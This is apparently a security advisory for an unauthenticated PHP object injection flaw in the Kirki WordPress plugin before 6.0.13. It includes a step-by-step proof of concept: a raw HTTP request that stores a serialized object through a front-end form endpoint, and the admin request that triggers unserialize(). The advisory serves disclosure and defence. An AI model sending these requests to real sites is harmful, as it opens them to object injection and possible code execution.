Kirki < 6.0.13 – Unauthenticated PHP Object Injection | CVE 2026-12720

Description

The plugin does not restrict which classes may be instantiated when it deserialises data that unauthenticated users can store, leading to PHP Object Injection that is triggered when an administrator later reviews the stored data. With a suitable gadget chain present on the site (via another installed plugin, theme, or an outdated WordPress version), this could be leveraged to perform a variety of attacks, such as remote code execution.

Proof of Concept

**Prerequisites (realistic config):** Kirki 6.0.11 active with a Kirki form on a page. The form-field config is held in a per-visitor transient `kirki_session_<id>` keyed by the attacker-supplied `kirki_session_id` cookie. A valid `wp_rest` nonce for an unauthenticated user is printed in the Kirki front-end footer — harvest it from any front-end page.

### Step 1 — Unauthenticated store of a serialized PHP object. Raw HTTP:
```http
POST /wp-json/kirki/v1/frontend/form HTTP/1.1
Host: victim.example
Content-Type: application/x-www-form-urlencoded
X-WP-Nonce: <wp_rest nonce harvested from the Kirki footer>
Cookie: kirki_session_id=attacker-session
Connection: close

message=O%3A8%3A%22WP_Theme%22%3A0%3A%7B%7D&_kirki_form=<base64(base64("FORMID|POSTID"))>&_wpnonce=<same wp_rest nonce>
```
Response (the payload is now stored verbatim as `input_value`):
```http
HTTP/1.1 200 OK
Content-Type: application/json

true
```
(`message` decodes to the serialized object `O:8:"WP_Theme":0:{}`. Any `O:..`/`a:..` payload works; a string value is stored byte-for-byte.)

### Step 2 — Trigger (admin views the entries):
The administrator opens the Kirki form-entries screen, i.e. `GET /wp-admin/admin-ajax.php?action=kirki_wp_admin_get_apis&endpoint=get-form-data&form_id=<id>` (or exports to CSV). `prepare_form_data_response` then runs `unserialize()` on the attacker's stored bytes — the object is instantiated (no `allowed_classes`).